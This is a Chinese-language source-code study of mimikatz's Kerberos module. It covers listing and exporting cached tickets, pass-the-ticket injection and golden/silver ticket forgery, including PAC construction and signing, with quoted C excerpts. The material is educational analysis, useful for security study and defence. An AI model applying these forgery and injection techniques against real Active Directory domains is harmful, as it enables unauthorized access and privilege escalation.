mimikatz源碼學習-Kerberos模塊
mimikatz是內網滲透中的一大利器,本文主要討論學習mimikatz中與Kerberos協議相關的代碼
mimikatz的Kerberos模塊中常用大概為:
1、 kerberos::list :列出當前的所有票據(當前用戶所在session,效果等同于命令klist)
2、kerberos::ptt :Pass The Ticket,即票據傳遞
3、kerberos::golden :偽造票據,如黃金票據、白銀票據
LsaCallKerberosPackage
LsaCallKerberosPackage是ntsecapi.h下的一個API,MSDN對它的描述如下:
The LsaCallAuthenticationPackage function is used by a logon application to communicate with an authentication package.
This function is typically used to access services provided by the authentication package.
大意為這個函數用作登錄程序和身份認證包通信,但通常被用來訪問身份認證包提供的服務。在mimikatz的源碼中列出票據和票據傳遞兩個功能模塊都圍繞這個函數展開,通過傳遞不同的參數得到不同的執行結果。
函數原型如下:
NTSTATUS LsaCallAuthenticationPackage( HANDLE LsaHandle, ULONG AuthenticationPackage, // 提供身份認證的標識符 PVOID ProtocolSubmitBuffer, // 用于傳遞給身份驗證包的緩沖區 ULONG SubmitBufferLength, PVOID *ProtocolReturnBuffer, // 接收從驗證包返回的數據的緩沖區 PULONG ReturnBufferLength, PNTSTATUS ProtocolStatus);
列出票據
mimikatz的源碼中這個功能對應的代碼比較簡單,只是調用了LsaCallAuthenticationPackage,然后對返回的數據進行解析:
status = LsaCallKerberosPackage(&kerbCacheRequest, sizeof(KERB_QUERY_TKT_CACHE_REQUEST), (PVOID *) &pKerbCacheResponse, &szData, &packageStatus); if(NT_SUCCESS(status)) { if(NT_SUCCESS(packageStatus)) { for(i = 0; i < pKerbCacheResponse->CountOfTickets; i++) { kprintf(L"[%08x] - 0x%08x - %s", i, pKerbCacheResponse->Tickets[i].EncryptionType, kuhl_m_kerberos_ticket_etype (pKerbCacheResponse->Tickets[i].EncryptionType)); kprintf(L" Start/End/MaxRenew: "); kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].StartTime); kprintf(L" ; "); kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].EndTime); kprintf(L" ; "); kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].RenewTime); kprintf(L" Server Name : %wZ @ %wZ", &pKerbCacheResponse->Tickets[i].ServerName, &pKerbCacheResponse->Tickets[i]. ServerRealm); kprintf(L" Client Name : %wZ @ %wZ", &pKerbCacheResponse->Tickets[i].ClientName, &pKerbCacheResponse->Tickets[i]. ClientRealm); kprintf(L" Flags %08x : ", pKerbCacheResponse->Tickets[i].TicketFlags); kuhl_m_kerberos_ticket_displayFlags(pKerbCacheResponse->Tickets[i].TicketFlags);
注意到,mimikatz使用LsaCallKerberosPackage對LsaCallAuthenticationPackage做了簡要封裝,實際上省去了前兩個參數,前兩個參數被當作全局變量在初始化時完成賦值,所以這里我們只需要關注函數執行之后返回的數據,代碼中對應為變量pKerbCacheResponse,變量對應的結構體在MSDN中描述如下:
typedef struct _KERB_QUERY_TKT_CACHE_RESPONSE { KERB_PROTOCOL_MESSAGE_TYPE MessageType; ULONG CountOfTickets; // 數組Tickets中的票據數量 KERB_TICKET_CACHE_INFO Tickets[ANYSIZE_ARRAY]; } KERB_QUERY_TKT_CACHE_RESPONSE, *PKERB_QUERY_TKT_CACHE_RESPONSE;
其中,結構體KERB_TICKET_CACHE_INFO描述如下,用來描述緩存的Kerberos票據相關信息:
typedef struct _KERB_TICKET_CACHE_INFO { UNICODE_STRING ServerName; UNICODE_STRING RealmName; LARGE_INTEGER StartTime; LARGE_INTEGER EndTime; LARGE_INTEGER RenewTime; LONG EncryptionType; ULONG TicketFlags;} KERB_TICKET_CACHE_INFO, *PKERB_TICKET_CACHE_INFO;
導出票據時同樣是調用這個API,只是這時我們需要關注用于傳遞請求的參數,即LsaCallAuthenticationPackage的第三個參數ProtocolSubmitBuffer,對應的結構體在MSDN中描述為:
typedef struct _KERB_RETRIEVE_TKT_REQUEST { KERB_PROTOCOL_MESSAGE_TYPE MessageType; LUID LogonId; UNICODE_STRING TargetName; // 目標服務名 ULONG TicketFlags; // 用于標記票據用途 ULONG CacheOptions; // 搜索緩存的選項,KERB_RETRIEVE_TICKET_AS_KERB_CRED表示以Keberos憑證的形式返回票據 LONG EncryptionType; SecHandle CredentialsHandle;} KERB_RETRIEVE_TKT_REQUEST, *PKERB_RETRIEVE_TKT_REQUEST;
對應的,用于接收請求的票據用結構體_KERB_RETRIEVE_TKT_RESPONSE描述,該結構體只包含一個成員結構體KERB_EXTERNAL_TICKET,而這個結構體的成員EncodedTicketSize和EncodedTicket分別為返回的票據大小和票據內容。
其實不難發現,僅需要查詢緩存中的票據時,使用結構體KERB_QUERY_TKT_CACHE_REQUEST和KERB_QUERY_TKT_CACHE_RESPONSE并且用于請求的結構體變量置零即可;但是想要獲取票據內容時就需要使用結構體KERB_RETRIEVE_TKT_REQUEST和KERB_RETRIEVE_TKT_RESPONSE了,與查詢不同,獲取票據內容時需要在請求中指明請求的類型(MessageType)、搜索緩存的選項(CacheOptions)、票據標志(TicketFlags)、目標服務名(TargetName)。
不過需要注意的是,結構體成員中UNICODE_STRING對應的是結構體類型,其定義如下:
typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer;} UNICODE_STRING, *PUNICODE_STRING;
所以,對TargetName賦值時,需要單獨的一塊空間存放Buffer對應的值,mimikatz的處理如下:
szData = sizeof(KERB_RETRIEVE_TKT_REQUEST) + pKerbCacheResponse->Tickets[i].ServerName.MaximumLength;if(pKerbRetrieveRequest = (PKERB_RETRIEVE_TKT_REQUEST) LocalAlloc(LPTR, szData)).........pKerbRetrieveRequest->TargetName.Buffer = (PWSTR) ((PBYTE) pKerbRetrieveRequest + sizeof(KERB_RETRIEVE_TKT_REQUEST));RtlCopyMemory(pKerbRetrieveRequest->TargetName.Buffer, pKerbCacheResponse->Tickets[i].ServerName.Buffer, pKerbRetrieveRequest->TargetName.MaximumLength); 此處的思路是header+content,這樣做可以保證數據在同一塊內存中,避免申請多塊內存。
至此,其實列出緩存中的票據以及導出票據的分析已經結束,但是我們還忽略了兩個參數,即在mimikatz中以全局變量的形式傳入的句柄和身份認證包標識。MSDN的句柄LsaHandle的描述為從與調用函數 LsaRegisterLogonProcess 或 LsaConnectUntrusted獲得,而身份認證包標識是從函數LsaLookupAuthenticationPackage中獲取,mimikatz中的代碼也確實如此:
NTSTATUS status = LsaConnectUntrusted(&g_hLSA); if(NT_SUCCESS(status)) { status = LsaLookupAuthenticationPackage(g_hLSA, &kerberosPackageName, &g_AuthenticationPackageId_Kerberos); g_isAuthPackageKerberos = NT_SUCCESS(status);
其中,kerberosPackageName為結構體LSA_STRING類型的變量,賦值為MICROSOFT_KERBEROS_NAME_A,指定為ANSI版本的Kerberos身份認證包名稱。
如果要清空緩存,就需要用到結構體_KERB_PURGE_TKT_CACHE_REQUEST了,它描述了想要刪除的緩存票據的信息,在MSDN中的定義如下:
typedef struct _KERB_PURGE_TKT_CACHE_REQUEST { KERB_PROTOCOL_MESSAGE_TYPE MessageType; LUID LogonId; UNICODE_STRING ServerName; UNICODE_STRING RealmName;} KERB_PURGE_TKT_CACHE_REQUEST, *PKERB_PURGE_TKT_CACHE_REQUEST;
其中需要注意的是第一個成員(MessageType),必須設置為KerbPurgeTicketCacheMessage。
票據傳遞
票據傳遞部分同樣是使用LsaCallAuthenticationPackage,只不過這次使用的結構體是KERB_SUBMIT_TKT_REQUEST,在NTSecAPI.h中對該結構體的定義如下:
typedef struct _KERB_SUBMIT_TKT_REQUEST { KERB_PROTOCOL_MESSAGE_TYPE MessageType; LUID LogonId; ULONG Flags; KERB_CRYPTO_KEY32 Key; // key to decrypt KERB_CRED ULONG KerbCredSize; ULONG KerbCredOffset;} KERB_SUBMIT_TKT_REQUEST, *PKERB_SUBMIT_TKT_REQUEST;
關于這個結構體的描述在MSDN中似乎沒有發現,不過根據其他結構體和字段的命名不難猜測相應字段的含義。對比mimikatz源碼來看其實只需要設置三部分內容,一是MessageType,這里需要設置為固定內容:KerbSubmitTicketMessage;剩下的兩部分內容即票據對應的大小和位置(因為票據數據是追加在結構體后的,所以這里偏移是結構體的大小),設置完之后調用函數LsaCallAuthenticationPackage即可完成票據傳遞:
submitSize = sizeof(KERB_SUBMIT_TKT_REQUEST) + dataSize;if(pKerbSubmit = (PKERB_SUBMIT_TKT_REQUEST) LocalAlloc(LPTR, submitSize)){ pKerbSubmit->MessageType = KerbSubmitTicketMessage; pKerbSubmit->KerbCredSize = dataSize; pKerbSubmit->KerbCredOffset = sizeof(KERB_SUBMIT_TKT_REQUEST); RtlCopyMemory((PBYTE) pKerbSubmit + pKerbSubmit->KerbCredOffset, data, dataSize);
status = LsaCallKerberosPackage(pKerbSubmit, submitSize, &dumPtr, &responseSize, &packageStatus);
偽造票據
mimikatz中描述票據的結構體定義如下:
typedef struct _KIWI_KERBEROS_TICKET { PKERB_EXTERNAL_NAME ServiceName; LSA_UNICODE_STRING DomainName; PKERB_EXTERNAL_NAME TargetName; LSA_UNICODE_STRING TargetDomainName; PKERB_EXTERNAL_NAME ClientName; LSA_UNICODE_STRING AltTargetDomainName;
LSA_UNICODE_STRING Description;
FILETIME StartTime; FILETIME EndTime; FILETIME RenewUntil;
LONG KeyType; KIWI_KERBEROS_BUFFER Key;
ULONG TicketFlags; LONG TicketEncType; ULONG TicketKvno; KIWI_KERBEROS_BUFFER Ticket;} KIWI_KERBEROS_TICKET, *PKIWI_KERBEROS_TICKET;
從結構體定義其實可以看出ticket所包含的內容,在Kerberos認證中,以AS-REP為例,我們知道AS返回給用戶兩部分內容: 一是TGT,二是使用用戶密碼hash加密的session key。其中,TGT包含了session key(登錄會話密匙)、失效時間以及pac信息(特權屬性證書)等內容,不過在mimikatz中pac信息是單獨生成的,所以上述的結構體定義中并不包含這部分內容。
從生成票據的代碼流程來看,生成TGT和TGS的代碼基本一致,最后會生成哪種票據取決于傳遞的參數,比如TGT需要krbtgt的哈希而TGS需要請求的服務。代碼中生成票據的代碼主要是函數kuhl_m_kerberos_golden_data,首先根據傳入的參數完成上述定義的ticket結構體的初始化,然后根據是否傳入sid來決定是否生成簽名的pac:
if(sid) // we want a PAC !{ if(pValidationInfo = kuhl_m_pac_infoToValidationInfo(&lifetime->TicketStart, username, domainname, LogonDomainName, sid, userid, groups, cbGroups, sids, cbSids)) { if(kuhl_m_pac_validationInfo_to_PAC(pValidationInfo, NULL, NULL, SignatureType, pClaimsSet, &pacType, &pacTypeSize)) { kprintf(L" * PAC generated"); status = kuhl_m_pac_signature(pacType, pacTypeSize, SignatureType, key, keySize); if(NT_SUCCESS(status)) kprintf(L" * PAC signed"); } }}
隨后就是生成對應的ticket,詳細來講就是先按照固定格式生成要加密的內容,然后對這部分內容加密,最后返回加密的結果。對于加密部分,圍繞一個重要函數:CDLocateCSystem,他第二個參數傳入的是結構體,這個結構體包含了指向加解密函數的指針等信息,定義如下:
typedef struct _KERB_ECRYPT { ULONG EncryptionType; ULONG BlockSize; ULONG ExportableEncryptionType; ULONG KeySize; ULONG HeaderSize; ULONG PreferredCheckSum; ULONG Attributes; PCWSTR Name; PKERB_ECRYPT_INITIALIZE Initialize; PKERB_ECRYPT_ENCRYPT Encrypt; PKERB_ECRYPT_DECRYPT Decrypt; PKERB_ECRYPT_FINISH Finish; union { PKERB_ECRYPT_HASHPASSWORD_NT5 HashPassword_NT5; PKERB_ECRYPT_HASHPASSWORD_NT6 HashPassword_NT6; }; PKERB_ECRYPT_RANDOMKEY RandomKey; PKERB_ECRYPT_CONTROL Control; PVOID unk0_null; PVOID unk1_null; PVOID unk2_null;} KERB_ECRYPT, *PKERB_ECRYPT;
CDLocateCSystem是Windows的一個API,位于cryptdll.dll,但粗略的搜索了一下并沒有相關說明,似乎微軟并未公開它,不過根據上述結構體以及dll文件,可以大概分析猜測這個api的作用。cryptdll.dll這個文件的導出函數并不多,而且可以大概猜測函數可能的功能:

導入上述定義的結構體,查看CDLocateCSystem對應的偽代碼,發現這個函數其實就是通過傳入的type從鏈表中尋找對應的塊:

再接著跟一下變量cCSystems, 可以發現只有以后函數對這個變量有賦值操作,跟到函數CDRegisterCSystem,發現這個函數實際上是通過傳入的參數對變量賦值:

再看這個函數的調用處,發現注冊了一系列的密碼算法:

繼續分析可以發現LibAttach在DllMain中被調用,也就是說這個dll文件一被加載,就會注冊各種密碼學算法,供相關API使用,所以代碼中調用CDLocateCSystem的目的是根據傳入的eType獲取一個用于eType對應類型的密碼算法的實現,進而完成相應的加密或解密操作。根據結構體的成員定義以及mimikatz中相關的加密代碼,可以猜測cryptdll中注冊的密碼學算法,使用方法基本一致,主要有一下流程:
- 通過CDLocateCSystem獲取對應的結構體數據。
- 初始化操作(包括設置密鑰、加解密數據大小等)。
- 加解密操作。
- 銷毀相關環境。
回到正題,生成加密的ticket信息后,“格式化”票據信息生成票據,然后將票據寫入緩存或者文件。
整個票據的生成流程大致如上所述,不過整個過程忽略了兩個地方:一是PAC是如何生成的;二是加密票據前后調用的兩個函數kuhl_m_kerberos_ticket_createAppEncTicketPart和kuhl_m_kerberos_ticket_createAppKrbCred。
PAC生成流程
PAC生成大體上分三個部分,也分別對應三個函數:
1、生成驗證信息:kuhl_m_pac_infoToValidationInfo
2、生成PAC:kuhl_m_pac_validationInfo_to_PAC
3、PAC簽名:kuhl_m_pac_signature
對于第一部分,可以透過結構體PKERB_VALIDATION_INFO來分析生成驗證信息需要的內容,結構體的定義如下:
typedef struct _KERB_VALIDATION_INFO { FILETIME LogonTime; FILETIME LogoffTime; FILETIME KickOffTime; FILETIME PasswordLastSet; FILETIME PasswordCanChange; FILETIME PasswordMustChange; RPC_UNICODE_STRING EffectiveName; RPC_UNICODE_STRING FullName; RPC_UNICODE_STRING LogonScript; RPC_UNICODE_STRING ProfilePath; RPC_UNICODE_STRING HomeDirectory; RPC_UNICODE_STRING HomeDirectoryDrive; USHORT LogonCount; USHORT BadPasswordCount; ULONG UserId; ULONG PrimaryGroupId; ULONG GroupCount; /* [size_is] */ PGROUP_MEMBERSHIP GroupIds; ULONG UserFlags; USER_SESSION_KEY UserSessionKey; RPC_UNICODE_STRING LogonServer; RPC_UNICODE_STRING LogonDomainName; PISID LogonDomainId; ULONG Reserved1[ 2 ]; ULONG UserAccountControl; ULONG SubAuthStatus; FILETIME LastSuccessfulILogon; FILETIME LastFailedILogon; ULONG FailedILogonCount; ULONG Reserved3; ULONG SidCount; /* [size_is] */ PKERB_SID_AND_ATTRIBUTES ExtraSids; PISID ResourceGroupDomainSid; ULONG ResourceGroupCount; /* [size_is] */ PGROUP_MEMBERSHIP ResourceGroupIds;} KERB_VALIDATION_INFO, *PKERB_VALIDATION_INFO;
關于結構體中的幾個和時間相關的成員,其實只需要關注LogonTime,它由傳入的結構體變量lifeTimeData中的TicketStart成員賦值,后者的數據內容通過GetSystemTimeAsFileTime獲得,這個msdn對這個API的解釋為:獲取當前系統的時間。當然,最后賦值給LogonTime的值是處理之后的值。而對于剩余的和時間相關的成員,統一賦值為0x7fffffffffffffffll。
GetSystemTimeAsFileTime(&lifeTimeData.TicketStart);*(PULONGLONG) &lifeTimeData.TicketStart -= *(PULONGLONG) &lifeTimeData.TicketStart % 10000000 - ((LONGLONG) wcstol(szLifetime, NULL, 0) * 10000000 * 60);
此外,UserId、GroupIds、GroupCount等成員實際上是從命令行參數獲得,但通常情況下生成票據我們似乎并沒有用到這些參數,所以傳入的值實際上是NULL。
獲取到驗證信息之后,就根據這些信息生成APC,PAC的總體結構如下:

關于PAC結構的代碼如下:
(*pacType)->cBuffers = n;(*pacType)->Version = 0;
(*pacType)->Buffers[0].cbBufferSize = szLogonInfo;(*pacType)->Buffers[0].ulType = PACINFO_TYPE_LOGON_INFO;(*pacType)->Buffers[0].Offset = offsetData;RtlCopyMemory((PBYTE) *pacType + (*pacType)->Buffers[0].Offset, pLogonInfo, (*pacType)->Buffers[0].cbBufferSize);
(*pacType)->Buffers[1].cbBufferSize = szClientInfo;(*pacType)->Buffers[1].ulType = PACINFO_TYPE_CNAME_TINFO;(*pacType)->Buffers[1].Offset = (*pacType)->Buffers[0].Offset + szLogonInfoAligned;RtlCopyMemory((PBYTE) *pacType + (*pacType)->Buffers[1].Offset, pClientInfo, (*pacType)->Buffers[1].cbBufferSize);
if(szClaimsAligned){ (*pacType)->Buffers[2].cbBufferSize = szClaims; (*pacType)->Buffers[2].ulType = PACINFO_TYPE_CLIENT_CLAIMS; (*pacType)->Buffers[2].Offset = (*pacType)->Buffers[1].Offset + szClientInfoAligned; RtlCopyMemory((PBYTE) *pacType + (*pacType)->Buffers[2].Offset, pClaims, (*pacType)->Buffers[2].cbBufferSize);}
(*pacType)->Buffers[n - 2].cbBufferSize = szSignature;(*pacType)->Buffers[n - 2].ulType = PACINFO_TYPE_CHECKSUM_SRV;(*pacType)->Buffers[n - 2].Offset = (*pacType)->Buffers[n - 3].Offset + SIZE_ALIGN((*pacType)->Buffers[n - 3].cbBufferSize, 8);RtlCopyMemory((PBYTE) *pacType + (*pacType)->Buffers[n - 2].Offset, &signature, FIELD_OFFSET(PAC_SIGNATURE_DATA, Signature));
(*pacType)->Buffers[n - 1].cbBufferSize = szSignature;(*pacType)->Buffers[n - 1].ulType = PACINFO_TYPE_CHECKSUM_KDC;(*pacType)->Buffers[n - 1].Offset = (*pacType)->Buffers[n - 2].Offset + szSignatureAligned;RtlCopyMemory((PBYTE) *pacType + (*pacType)->Buffers[n - 1].Offset, &signature, FIELD_OFFSET(PAC_SIGNATURE_DATA, Signature));
其中,第一部分(pLogonInfo)即對kuhl_m_pac_infoToValidationInfo的結果進行加密操作后的內容,這里加密實際上是調用的kull_m_rpc_Generic_Encode,不過實際上最后的加密調用了NdrMesTypeEncode2,它是midles.h下的一個函數。
關于客戶端信息(ClientInfo),首先需要明確的是這部分內容是明文信息,主要內容為用戶名。Cliams其實也是加密的數據,是否包含這部分內容取決于是否傳入參數Claims,顯然通常情況下我們并沒有傳入這一項,所以這里不再繼續跟進。
至此,PAC的主體已經說明結束,剩余兩部分保存的是主體部分的校驗和。計算校驗和使用的是CDLocateCheckSum,這個API來自cryptdll.dll,用法和CDLocateCSystem類似。
兩個函數
其實kuhl_m_kerberos_ticket_createAppEncTicketPart和kuhl_m_kerberos_ticket_createAppKrbCred都是圍繞兩個結構體展開的即:
typedef struct berElement { UNICODE PTCHAR opaque; } BerElement;
typedef struct berval { ULONG bv_len; UNICODE PTCHAR bv_val;} LDAP_BERVAL, *PLDAP_BERVAL, BERVAL, *PBERVAL;
涉及到這兩個結構體的函數位于winber.h,不過對于前面提到的兩個函數,我們們只需要關注兩個函數:
1、ber_printf,顧名思義,其實就是用來格式化數據的,mimikatz中的kull_m_asn1_GenTime其實也是對該函數的封裝
2、ber_flatten,MSDN的解釋是從BerElement結構中獲取數據保存到一個berval結構中,換句話說其實也就是對數據的進一步“格式化”
關于頭文件winber.h,其實MSDN上也說明了是用于LDAP的,因為AD域是基于LDAP的,所以這里對數據的一些“格式化”操作也是事出有因。
此外,使用這個頭文件時還需引入windows.h和winldap.h,并且添加依賴項:wldap32.lib(#pragma comment(lib,"wldap32.lib"))
當然,分析這兩個函數的主要目的并不它實現了什么樣的功能,而是透過這個功能(對數據“格式化”)得知票據的加密部分的內容構成,以及最后得到的票據內容構成。
首先看加密部分的內容構成,其實從函數傳入的參數來看,這部分應該包含了整個票據的所有信息,因為函數kuhl_m_kerberos_ticket_createAppEncTicketPart獲取的參數是記錄票據信息的結構體數據和pac信息,查看函數的實現部分其實和猜想大差不差:按照固定的順序將域名、用戶名、生成/失效時間等信息通過ber_printf寫入到BerElement類型的變量隨后通過ber_flatten得到最終需要加密的數據格式(存儲到結構體berval類型的變量中),并返回給調用者。
透過mimikatz的代碼,其實可以看出要加密的內容大體的格式:
ber_printf(pBer, "t{{t{", MAKE_APP_TAG(ID_APP_ENCTICKETPART), MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_FLAGS));kull_m_asn1_BitStringFromULONG(pBer, ticket->TicketFlags);ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_KEY));kuhl_m_kerberos_ticket_createSequenceEncryptionKey(pBer, ticket->KeyType, ticket->Key.Value, ticket->Key.Length);ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_CREALM));kull_m_asn1_GenString(pBer, &ticket->AltTargetDomainName);ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_CNAME));kuhl_m_kerberos_ticket_createSequencePrimaryName(pBer, ticket->ClientName);ber_printf(pBer, "}t{{t{i}t{o}}}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_TRANSITED), MAKE_CTX_TAG(ID_CTX_TRANSITEDENCODING_TR_TYPE), 0, MAKE_CTX_TAG(ID_CTX_TRANSITEDENCODING_CONTENTS), NULL, 0, MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_AUTHTIME));kull_m_asn1_GenTime(pBer, &ticket->StartTime);ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_STARTTIME));kull_m_asn1_GenTime(pBer, &ticket->StartTime);ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_ENDTIME));kull_m_asn1_GenTime(pBer, &ticket->EndTime);ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_RENEW_TILL));kull_m_asn1_GenTime(pBer, &ticket->RenewUntil);ber_printf(pBer, "}"); /* ID_CTX_ENCTICKETPART_CADDR not present */if(PacAuthData && PacAuthDataSize){ ber_printf(pBer, "t{{{t{i}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_AUTHORIZATION_DATA), MAKE_CTX_TAG(ID_CTX_AUTHORIZATIONDATA_AD_TYPE), ID_AUTHDATA_AD_IF_RELEVANT, MAKE_CTX_TAG(ID_CTX_AUTHORIZATIONDATA_AD_DATA)); if(pBerPac = ber_alloc_t(LBER_USE_DER)) { ber_printf(pBerPac, "{{t{i}t{o}}}", MAKE_CTX_TAG(ID_CTX_AUTHORIZATIONDATA_AD_TYPE), ID_AUTHDATA_AD_WIN2K_PAC, MAKE_CTX_TAG(ID_CTX_AUTHORIZATIONDATA_AD_DATA), PacAuthData, PacAuthDataSize); if(ber_flatten(pBerPac, &pBerValPac) >= 0) ber_printf(pBer, "o", pBerValPac->bv_val, pBerValPac->bv_len); ber_free(pBerPac, 1); } ber_printf(pBer, "}}}}");}ber_printf(pBer, "}}");
這里值得注意的是PAC信息是作為一個可選項加入到要加密內容的尾部的,而是否包含PAC信息取決于生成票據時是否傳入SID。對于最后載入緩存或寫入文件的內容,即kuhl_m_kerberos_ticket_createAppKrbCred的返回值也是通過同樣的形式構造數據,最后調用ber_flatten生成berval結構的數據。